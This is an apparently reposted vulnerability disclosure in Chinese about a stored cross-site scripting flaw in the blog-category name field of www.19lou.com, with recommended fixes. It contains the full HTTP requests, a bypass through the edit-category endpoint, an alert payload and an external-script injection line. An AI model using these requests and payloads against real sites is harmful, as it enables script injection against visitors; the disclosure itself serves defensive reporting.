来源:自学PHP网 时间:2015-04-17 12:00 作者: 阅读:次
[导读] 19楼某处过滤不严格,导致触发存储型跨站详细说明:19楼博客分类处为对提交数据进行过滤,导致跨站。博客分类--创建新分类(最多可输入14个字符)修改提交包POST /user/blog/manage/add...
19楼某处过滤不严格,导致触发存储型跨站
详细说明:
19楼博客分类处为对提交数据进行过滤,导致跨站。
博客分类--创建新分类
(最多可输入14个字符)
修改提交包
POST /user/blog/manage/addcategory HTTP/1.1
Host: www.19lou.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2
Content-Length: 16
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://www.19lou.com
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://www.19lou.com/user/blog/list?uid=xxxx
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
categoryName=sss
修改categoryName参数值为<script>alert(/wooyun/)</script>
提示:
看来是服务端做的校验。
先创建个wooyun的分类,四处转转再说
点击“管理博客分类”,对之前提交的分类就行管理
对提交的数据包中的name参数进行修改:
POST /user/blog/manage/editcategory HTTP/1.1
Host: www.19lou.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2
Content-Length: 17
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://www.19lou.com
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://www.19lou.com/user/blog/list?uid=2xxxx
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
id=46xxx&name=wooyun
将name的值修改为<script>alert(/wooyun/)</script>
成功弹窗。
引入外部js
<script src=http://localhost/test.js></script>
发布blog,选择分类为我们添加的分类
当用户访问blog文章时候,成功触发。
修复方案:
1、从服务端限制提交长度
2、转义特殊符
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com